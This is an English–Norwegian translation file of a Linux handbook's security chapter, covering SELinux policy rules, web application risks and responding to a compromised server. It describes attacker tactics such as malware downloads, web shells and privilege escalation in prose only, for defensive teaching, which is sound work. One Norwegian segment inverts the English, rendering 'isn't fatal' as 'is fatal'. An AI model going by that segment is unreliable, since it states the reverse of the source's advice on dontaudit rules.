en: By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role="pkg">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial.
nb-NO: Ved å observere dette i loggen er det mulig å bygge en regel som ville tillate denne operasjonen. For eksempel, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Denne prosessen kan automatiseres, og det er akkurat hva <command>audit2allow</command>-kommandoen (i <emphasis role="pkg">policycoreutils</emphasis>-pakken) tilbyr. Denne tilnærmingen er bare nyttig hvis de ulike objektene allerede er korrekt merket med det som måtte være begrenset. I alle fall må du lese nøye gjennom de genererte reglene, og validere dem i henhold til dine kunnskaper om programmet. Faktisk tenderer denne tilnærmingen å gi flere rettigheter enn det som virkelig er nødvendig. Den riktige løsningen er ofte å lage nye typer og bare tildele rettigheter til disse typene. Det hender også at en nektet operasjon er fatalt for programmet, og da kan det være bedre å bare legge til en «<literal>dontaudit</literal>»-regel for å unngå loggoppføringen til tross for en effektiv nektelse.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
nb-NO: <emphasis>SUPPLEMENT</emphasis> Ingen roller i retningslinjene

en: <primary>Type Enforcement</primary>
nb-NO: <primary>Type-håndheving</primary>

en: <primary>Enforcement, Type Enforcement</primary>
nb-NO: <primary>Håndheving, håndheving av type</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
nb-NO: Det kan virke merkelig at rollene ikke dukker opp i det hele tatt når du oppretter nye regler. SELinux bruker kun domenene for å finne ut hvilke operasjoner som er tillatt. Rollen griper bare indirekte inn ved å tillate brukeren å bytte til et annet domene. SELinux er basert på en teori som kalles <emphasis>håndheving av type</emphasis>, og typen er det eneste elementet som betyr noe når rettigheter tildeles.

en: Compiling the Files
nb-NO: Å kompilere filene

en: Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files.
nb-NO: Så snart de 3 filene (<filename>eksempel.if</filename>, <filename>eksempel.fc</filename>, og <filename>eksempel.te</filename>) svarer til dine forventninger for de nye reglene, skift navnene til <filename>myapp.<replaceable>extension</replaceable></filename> og kjør <command>make NAME=devel</command> for å generere en modul i <filename>myapp.pp</filename>-filen (du kan umiddelbart laste den med <command>semodule -i myapp.pp</command>). Hvis flere moduler er definert, vil <command>make</command> lage alle de korresponderende <filename>.pp</filename>-filene.

en: Other Security-Related Considerations
nb-NO: Andre sikkerhetsrelaterte overveielser

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
nb-NO: Sikkerhet er ikke bare et teknisk problem; for mer enn noe annet, handler det om god praksis og forståelse av risiko. Denne seksjonen gjennomgår noen av de vanligste risikoene, samt noen «beste praksis»er som, avhengig av tilfellet, bør øke sikkerheten, eller minske virkningen av et vellykket angrep.

en: Inherent Risks of Web Applications
nb-NO: Iboende risiko for nett-applikasjoner

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
nb-NO: Nettprogrammenes universelle karakter førte til spredningen. Flere kjøres ofte i parallell; en nettpost, en Wiki, noen gruppevaresystemer, et forum, et fotogalleri, en blogg, og så videre. Mange av disse programmene er avhengige av «LAMP» (<emphasis>Linux, Apache, MySQL, PHP</emphasis>)-stabelen. Dessverre er mange av disse programmene også skrevet uten mye hensyn til sikkerhetsproblemer. Data som kommer utenfra brukes også ofte med liten eller ingen validering. Å gi spesiallagede verdier kan brukes til å undergrave et anrop til en kommando, slik at en annen blir utført i stedet. Mange av de mest åpenbare problemene er løst etter hvert som tiden har gått, men nye sikkerhetsproblemer dukker opp med jevne mellomrom.

en: <emphasis>VOCABULARY</emphasis> SQL injection
nb-NO: <emphasis>ORDFORRÅD</emphasis> SQL-injeksjon

en: When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />
nb-NO: Når et program legger inn data i SQL-spørringer på en usikker måte, blir det sårbart for SQL-injeksjoner; dette navnet dekker at det er lov å endre et parameter slik at den faktiske spørringen som utføres av programmet er forskjellig fra den tiltenkte, enten for å skade databasen, eller for å få tilgang til data som normalt ikke bør være tilgjengelig. <ulink type="block" url="https://en.wikipedia.org/wiki/SQL_Injection" />

en: <primary>SQL injection</primary>
nb-NO: <primary>SQL-injeksjon</primary>

en: Knowing What To Expect
nb-NO: Å vite hva som forventes

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
nb-NO: En sårbarhet i et nettprogram blir ofte brukt som utgangspunkt for inntrengningsforsøk. Her følger en kort gjennomgang av mulige konsekvenser.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
nb-NO: <emphasis>RASK TITT</emphasis> Å filtrere HTTP-spørringer

en: Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
nb-NO: Apache 2 inkluderer moduler som tillater filtrering av innkommende HTTP-spørringer. Dette gjør det mulig å blokkere noen angrepsvektorer. For eksempel kan det å begrense lengden på parametrene forhindre overflom i mellomlager. Mer generelt kan man validere parametre selv før de sendes til nettprogrammet, og begrense tilgangen etter mange kriterier. Dette kan også kombineres med dynamiske brannmuroppdateringer, slik at en klient som krenker en av reglene blir utestengt fra tilgang til netttjeneren for en gitt periode.

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
nb-NO: Å sette opp disse kontrollene kan være en lang og kronglete oppgave, men det kan lønne seg når nettprogrammet som skal utplasseres har en tvilsom merittliste når det gjelder sikkerhet.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
nb-NO: <emphasis>mod-security2</emphasis> (i <emphasis role="pkg">libapache2-mod-security2</emphasis>-pakken) er den viktigste av slike moduler. Den har til og med mange egne «klare til bruk»-regler (i <emphasis role="pkg">modsecurity-crs</emphasis>-pakken) som du enkelt kan aktivere.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
nb-NO: En mer avansert angriper vil gå utover det. Et katastrofescenario kunne være dette opplegget: Angriperen får muligheten til å utføre kommandoer som <literal>www-data</literal>-bruker, men kjører en kommando som krever mange håndteringer. For å gjøre livet sitt enklere installerer de andre nettprogrammer spesielt utformet for å fjernutføre mange typer kommandoer, som for eksempel surfing i filsystemet, å undersøke tillatelser, å laste opp eller ned filer, utføre kommandoer, og selv gi et nettverksskall. Ofte vil sårbarheten tillate å kjøre en <command>wget</command>-kommando som vil laste ned skadelig programvare til <filename>/tmp/</filename>, og så kjøre den. Den skadelige programvaren er ofte lastet ned fra en utenlandsk nettside som tidligere er kompromittert, for å dekke sporene og gjøre det vanskeligere å finne den faktiske opprinnelsen til angrepet.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
nb-NO: På dette punktet har angriperen nok bevegelsesfrihet slik at de ofte kan installere en IRC <emphasis>bot</emphasis> (en robot som kobles til en IRC-tjener, og kan styres av denne kanalen). Denne boten er ofte brukt til å dele ulovlige filer (uautoriserte kopier av filmer eller programvare, og så videre). En besluttsom angriper kan ønske å gå enda lengre. Kontoen <literal>www-data</literal> gir ikke full tilgang til maskinen, og angriperen vil prøve å få administratorrettigheter. Dette bør imidlertid ikke være mulig, men hvis nettprogrammet ikke var oppdatert, er sjansene for at kjernen og andre programmer er utdatert også; dette følger noen ganger av en avgjørelse fra administrator som, til tross for å vite om sikkerhetsproblemet, har unnlatt å oppgradere systemet siden det ikke er noen lokale brukere. Angriperen kan så dra nytte av denne andre sårbarheten for å få rot-tilgang.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
nb-NO: <emphasis>ORDFORRÅD</emphasis> Opptrapping av privilegier

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
nb-NO: Dette begrepet omfatter alt som kan anvendes for å oppnå ytterligere tillatelser enn en gitt bruker bør ha normalt. Programmet <command>sudo</command> er utviklet nettopp med det formål å gi administrative rettigheter til enkelte brukere, men det samme begrepet brukes også for å beskrive handlingen når en angriper utnytter en sårbarhet for å oppnå utilbørlige rettigheter.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
nb-NO: Dette blir et marerittscenario som kan forebygges ved flere tiltak. De neste avsnittene beskriver noen av disse tiltakene.

en: Choosing the Software Wisely
nb-NO: Kloke valg av programvare

en: <emphasis>VOCABULARY</emphasis> Security audit
nb-NO: <emphasis>ORDFORRÅD</emphasis> Sikkerhetsgjennomgang

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
nb-NO: Sikkerhetsgjennomgang er prosessen med grundig lesing, og analyse av kildekoden til noen programvarer, på jakt etter potensielle sikkerhetsproblemer den kan inneholde. Slike revisjoner er vanligvis proaktive, og gjennomføres for å sikre at et program oppfyller visse krav til sikkerhet.

en: In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
nb-NO: I verden av fri programvare, er det vanligvis rikelig rom for valg, og å velge en programvare fremfor en annen bør være en beslutning basert på kriteriene som gjelder lokalt. Flere funksjoner innebærer en økt risiko for at en sårbarhet gjemmer seg i koden. Å plukke det mest avanserte programmet til en oppgave, kan faktisk virke mot sin hensikt, for en bedre tilnærming er å velge det enkleste programmet som tilfredsstiller kravene.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
nb-NO: <emphasis>ORDFORRÅD</emphasis> Zero-day sårbarhet

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
nb-NO: Et <emphasis>zero-day exploit</emphasis>-angrep er vanskelig å hindre: Begrepet gjelder en sårbarhet som ennå ikke er kjent for forfatterne av programmet.

en: Managing a Machine as a Whole
nb-NO: Å håndtere en maskin som en helhet

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
nb-NO: De fleste Linux-distribusjoner installerer som standard en rekke Unix-tjenester og mange verktøy. I mange tilfelle er disse tjenestene og verktøyene ikke påkrevd for det faktiske formål som administrator setter opp for maskinen. Som en generell retningslinje i sikkerhetssaker, er det best å avinstallere unødvendige programvare. Faktisk er det ingen vits i å sikre en FTP-tjener, hvis en sårbarhet i en annen, ubrukt tjeneste kan brukes til å få administratorrettigheter på hele maskinen.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
nb-NO: Med samme resonnement vil brannmurer ofte bli satt opp til å kun gi tilgang til tjenester som er ment å være offentlig tilgjengelige.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
nb-NO: Nåværende datamaskiner er kraftige nok til å være vertskap for flere tjenester på samme fysiske maskin. Fra et økonomisk synspunkt er en slik mulighet interessant; bare én datamaskin å administrere, lavere energiforbruk, og så videre. Fra sikkerhetssynspunkt kan et slikt valg være et problem. En kompromittert tjeneste kan gi tilgang til hele maskinen, som igjen svekker de andre tjenestene som ligger på samme datamaskin. Denne risikoen kan reduseres ved å isolere tjenestene. Dette kan oppnås enten med virtualisering (hver tjeneste legges til en egen virtuell maskin eller beholder), eller med AppArmor/SELinux (at hver tjenestebakgrunnsprosess har et tilstrekkelig dimensjonert sett med tillatelser).

en: Users Are Players
nb-NO: Brukere er spillere

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
nb-NO: Å diskutere sikkerhet bringer umiddelbart tankene til beskyttelse mot angrep fra anonyme inntrengere som gjemmer seg i Internett-jungelen; men et ofte glemt faktum er at risikoen også kommer fra innsiden: En ansatt som skal forlate selskapet kunne laste ned sensitive filer om viktige prosjekter, og selge dem til konkurrentene, en uaktsom selger kan forlate arbeidsplassen uten å låse sin økt under et møte om et nytt prospekt, en klønete bruker kan slette feil katalog ved et uhell, og så videre.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
nb-NO: Responsen på disse risikoene kan omfatte tekniske løsninger: At ikke mer enn de nødvendige tillatelsene skal gis til brukerne, og at regelmessige sikkerhetskopier er nødvendig. For å unngå risikoene er brukeropplæring i mange tilfeller den hensiktsmessige beskyttelsen.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
nb-NO: <emphasis>RASK TITT</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
nb-NO: Pakken <emphasis role="pkg">autolog</emphasis> har et program som automatisk frakobler inaktive brukere etter en oppsettbar forsinkelse. Det tillater også å stanse brukerprosesser som vedvarer etter at en økt er avsluttet, og dermed hindrer brukere fra å kjøre bakgrunnsprosesser.

en: Physical Security
nb-NO: Fysisk sikkerhet

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
nb-NO: Det er ingen vits i å sikre tjenester og nettverk hvis datamaskinene selv ikke er beskyttet. Viktige data fortjener å bli lagret på varm-pluggede (hot-swappable) harddisker i RAID-områder, fordi harddisker feiler før eller senere, og datatilgjengelighet er en nødvendighet. Men hvis et pizzabud kan gå inn i bygningen, snike seg inn i tjenerrommet, og snike seg ut med noen få utvalgte harddisker, er en viktig del av sikkerheten ikke dekket. Hvem kan gå inn i tjenerrommet? Følger noen med på tilgangen? Disse spørsmålene fortjener overveielse (og svar) når den fysiske sikkerheten blir vurdert.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
nb-NO: Fysisk sikkerhet omfatter også risikoen for ulykker som branner. Denne risikoen berettiger lagring av sikkerhetskopier i en egen bygning, eller i det minste i et brannsikkert skap.

en: Legal Liability
nb-NO: Juridisk ansvar

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
nb-NO: En administrator har, mer eller mindre implisitt, tillit hos sine brukere, samt brukere av nettverket generelt. En bør derfor unngå enhver uaktsomhet som ondsinnede mennesker kan utnytte.

en: An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
nb-NO: En angriper som tar kontroll over maskinen din for så bruke den som en fremskutt base (kjent som et «stafettsystem»), for derfra å utføre andre ulovlige aktiviteter. kan føre til juridiske problemer for deg, siden den angrepne i utgangspunktet vil se angrepet komme fra ditt system, og derfor anser deg som angriper (eller som medskyldig). I mange tilfelle kan en angriper bruke din tjener som en mulighet til å sende søppelpost, som ikke bør ha mye innvirkning (unntatt en mulig registrering på svartelister som kan begrense din mulighet til å sende legitime e-poster), men det vil likevel ikke være hyggelig. I andre tilfeller kan større problemer forårsakes fra maskinen, for eksempel tjenestenekt-angrep. Dette vil noen ganger forårsake tap av inntekter, ettersom de legitime tjenestene vil være utilgjengelige, og data kan bli ødelagt. Noen ganger vil dette også innebære en reell kostnad, fordi den angrepne part kan starte søksmål mot deg. Rettighetshavere kan saksøke deg hvis en uautorisert kopi av et verk, beskyttet av opphavsrett deles fra tjeneren din, så vel som at andre selskaper tvinges av servicenivåavtaler dersom de er forpliktet til å betale erstatning etter angrep fra din maskinen.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
nb-NO: Når slike situasjoner oppstår, er det vanligvis ikke nok å hevde uskyld: I det minste trenger du overbevisende bevis som viser at mistenkelig aktivitet på systemet ditt kommer fra en gitt IP-adresse. Dette vil ikke være mulig hvis du forsømmer anbefalingene i kapittelet her, og lar angriperen få tilgang til en privilegert konto (spesielt rot), og bruker den til å dekke sine spor.

en: Dealing with a Compromised Machine
nb-NO: Å håndtere en kompromittert maskin

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
nb-NO: Til tross for de beste intensjoner og et nøye utformet sikkerhetsopplegg, kan en administrator likevel stå ansikt til ansikt med en kapring. Denne seksjonen inneholder noen veiledninger om hvordan man skal reagere konfrontert med slike uheldige omstendigheter.

en: Detecting and Seeing the Cracker's Intrusion
nb-NO: Avdekke og se innbruddet

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
nb-NO: Det første skrittet for å reagere mot et innbrudd er å bli oppmerksom på en slik handling. Dette er ikke selvinnlysende, spesielt uten et tilstrekkelig infrastruktur for monitorering.

en: Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:
nb-NO: Innbruddshandlinger oppdages ofte ikke før de har direkte konsekvenser for de legitime tjenestene på vertsmaskinen, for eksempel at tilkoblinger bremses ned, noen brukere ikke klarer å koble til, eller noen annen form for feil. Konfrontert med disse problemene, må administratoren ta en god titt på maskinen, og nøye granske hva den feiler. Dette er vanligvis det tidspunktet da man oppdager en uvanlig prosess, for eksempel en som heter <literal>apache</literal> i stedet for standarden <literal>/usr/sbin/apache2</literal>. Hvis vi følger dette eksemplet, er tingen å gjøre å være oppmerksom på prosessidentifisereren, og sjekke <filename>/proc/<replaceable>pid</replaceable>/exe</filename> for å se hvilket program denne prosessen kjører for øyeblikket:

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
nb-NO: Kjører et program installert under <filename>/var/tmp/</filename> som en nettjener? Ingen tvil igjen, maskinen er kompromittert.

en: This is only one example, but many other hints can ring the administrator's bell:
nb-NO: Dette er bare ett eksempel, men mange andre tips kan få det til å ringe i administratorens bjelle:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
nb-NO: et alternativ til en kommando som ikke lenger fungerer; versjonen av programvaren som kommandoen hevder å være, samsvarer ikke med den versjonen som den er ment å være installert i samsvar med <command>dpkg</command>;

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
nb-NO: en ledetekst eller en velkomstmelding som indikerer at den siste forbindelsen kom fra en ukjent tjener på et annet kontinent;

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
nb-NO: feil forårsaket av at <filename>/tmp/</filename>-partisjon er full, noe som viste seg å være med ulovlige kopierte filmer;

en: and so on.
nb-NO: og så videre.

en: Putting the Server Off-Line
nb-NO: Å sette tjeneren Off-Line

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
nb-NO: I alle, bortsett fra de mest eksotiske tilfeller, kommer innbrudd fra nettverket, og angriperen trenger et fungerende nettverk for å nå sine mål (tilgang til konfidensielle data, deling av ulovlige filer, skjuling av sin identitet ved å bruke maskinen som til stafett, og så videre). Å koble datamaskinen fra nettverket vil hindre angriperen fra å nå disse målene, hvis denne ikke har klart å gjøre det allerede.

en: This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> and <xref linkend="sect.reconstituting-the-attack-scenario" />), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
nb-NO: Dette kan bare være mulig hvis tjeneren er fysisk tilgjengelig. Når tjeneren leier plass hos en vertsleverandør på en annen kant av landet, eller hvis tjeneren ikke er tilgjengelig av noen annen grunn, er det vanligvis en god idé å starte med å samle viktig informasjon (se <xref linkend="sect.keeping-everything-that-could-be-used-as-evidence" />, <xref linkend="sect.forensic-analysis" /> og <xref linkend="sect.reconstituting-the-attack-scenario" />), deretter å isolere denne tjeneren så mye som mulig ved å lukke så mange tjenester som mulig (vanligvis, alt untatt <command>sshd</command>). Denne saken er fortsatt vanskelig, siden man ikke kan utelukke muligheten for at angriperen har samme SSH-tilgang som administratoren har. Dette gjør det vanskeligere å «rense» maskinene.

en: Keeping Everything that Could Be Used as Evidence
nb-NO: Beholde alt som kan brukes som bevis

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
nb-NO: Å forstå angrep og/eller vinne søksmål mot angriperne forutsetter å ta kopier av alle viktige elementer; medregnet innholdet på harddisken, en liste over alle prosesser som kjører, og en liste over alle åpne tilkoblinger. Innholdet i RAM kan også benyttes, men det er sjelden brukt i praksis.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
nb-NO: I sakens hete er administratorer ofte fristet til å utføre mange kontroller av den kompromitterte maskinen; det er vanligvis ikke en god idé. Hver kommando er potensielt skadelig, og kan slette deler av bevis. Kontrollene bør begrenses til minimumssettet, (<command>netstat -tupan</command> for nettverksforbindelser, <command>ps auxf</command> for en liste med prosesser, <command>ls -alR /proc/[0-9]*</command> for litt mer informasjon om programmer som kjører), og hver utført sjekk bør omsorgsfullt skrives ned.

en: <emphasis>CAUTION</emphasis> Hot analysis
nb-NO: <emphasis>VÆR VARSOM</emphasis> Analyse mens maskinen kjører

en: While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!
nb-NO: Mens det kan virke fristende å analysere systemet mens det går, spesielt når en ikke er i fysisk kontakt med tjeneren, er det best at dette unngås: Du kan rett og slett ikke stole på de programmene som er installert på det kompromitterte systemet. Det er fullt mulig for en skadelig <command>ps</command>-kommando å skjule noen prosesser, eller for en skadelig <command>ls</command> å skjule filer; noen ganger kan til og med kjernen være kompromittert!

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
nb-NO: Dersom en slik analyse mens maskinen fortsatt kjører er nødvendig, bør man sørge for å bare bruke godt kjente programmer. En god måte å gjøre det på ville være å ha en rednings-CD med uberørte programmer, eller en skrivebeskyttet nettverksressurs. Imidlertid kan selv disse mottiltak ikke være nok hvis kjernen selv er kompromittert.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
nb-NO: Når de «dynamiske» elementer ha blitt lagret, er neste steg å lagre et komplett bilde av harddisken. Å lage et slikt bilde er umulig hvis filsystemet er fortsatt utvikles, og det derfor må monteres om skrivebeskyttet . Den enkleste løsningen er ofte å stoppe tjeneren brutalt (etter å ha kjørt <command>sync</command>), og starte den på nytt med en rednings-CD. Hver partisjon skal kopieres med et verktøy som <command>dd</command>. Disse bildene kan sendes til en annen tjener (muligens med det veldig praktiske <command>nc</command>-verktøyet). En annen mulighet kan være enda enklere: Bare få disken ut av maskinen og erstatt den med en ny en som kan formateres og reinstalleres.

en: Re-installing
nb-NO: Reinstallering

en: <primary>backdoor</primary>
nb-NO: <primary>bakdør</primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
nb-NO: Tjeneren skal ikke bringes tilbake i drift uten en fullstendig reinstallasjon. Dersom skaden var alvorlig (hvis administrative rettigheter lakk ut), er det nesten ingen annen måte å være sikker på at vi blir kvitt alt angriperen kan ha etterlatt seg (spesielt <emphasis>bakdør</emphasis>). Selvfølgelig må alle de nyeste sikkerhetsoppdateringene benyttes, slik som å plugge den sårbarheten som brukes av angriperen. Ideelt sett: Å analysere angrepet skal peke på denne angrepsmetoden, slik at man faktisk kan være sikker på å få fikset den. Ellers kan man bare håpe at sårbarheten var en av dem som er ordnet via oppdateringene.

en: Forensic Analysis
nb-NO: Rettslig analyse

